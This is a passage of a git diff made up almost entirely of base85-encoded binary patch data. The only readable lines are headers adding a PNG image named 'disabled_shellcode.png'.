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

{z5uB^fO4t3n%Xm6d&-PlPmQ9vpW~ z>nZ!Qshz~j!GSnzNq7WZOkd4$-ep^k!9mNCxX$y#tZ*IP%}27!;{13wxDSmqFLSA; zAuH+P4+**ID-N(v-tzC_g#mBOzyeh+^INU8Z7!hAVzH_S!?Q+IITn(hNi}V8j~h02 z%{luPidt$%JYo*pEn4z}6E$F#p(M%lPxOzb^(>yvKOc_KgS2VSLOIk91Jn_aW&9gM zshc&q;0e^9O4x^nF}I-iP|tl`*m>UzsTCS2rzQg4y5)*Yl?_&S7M5us$H}IRJKQ;<&vRo zBCU!BX53zVZRQrjX-?(0D+XVm7d)nxo#F7FU`y$kJVN1Gb@2AUTF|Ca;W{Q;Qcc*N zu_{KT^{a`*3K+anBQK@_WQm4TviR$vS>+fD5qB&p`}B$*Gh+*opm6VcqO<_6a%X3K zYpBEfQfLa2FDo+xQ=Y$V0iB|d)@!CR*YNF*g=Heohyn4^>{y6S<1rL;N|PtUQw{|K zsb*>2`*v^4QVmb(DGZt>LXBG(zBsAe?B3kdKFm4kb^G(#0~aJ$5_MJpxn7wMJz(>w z&!B>272ejaBfStI|@2d`xsHe)osTu@*9KS=jN|mKLvP0OZG=!!|hQs z9u}v%@E8iPHPZiBH|$ASpS3C~=O`qv{_?pjG&JDa=$QGpe}(7K)$kXXD7%WNa)PZF zN;j@DX_Uot%9u1Vi-!S{raH{4?Y&siR?tF#lT>?dxx}W_3>yb<*gLRS4ud;@Bz?1D zsIY?q1PW(RL;^)bR4fOIWl_Ni6x>Kb3>Bhum<3u3PdPuuq46z*W&@BH(0$vi7hu`E; Zl{4-gn{!;9>LEY(_))hbILC|E{{!zK5q|&x literal 0 HcmV?d00001 diff --git a/Images/disabled_shellcode.png b/Images/disabled_shellcode.png new file mode 100644 index 0000000000000000000000000000000000000000..2ba40049491402f009ca6ccbf62024a36ad6b730 GIT binary patch literal 22305 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 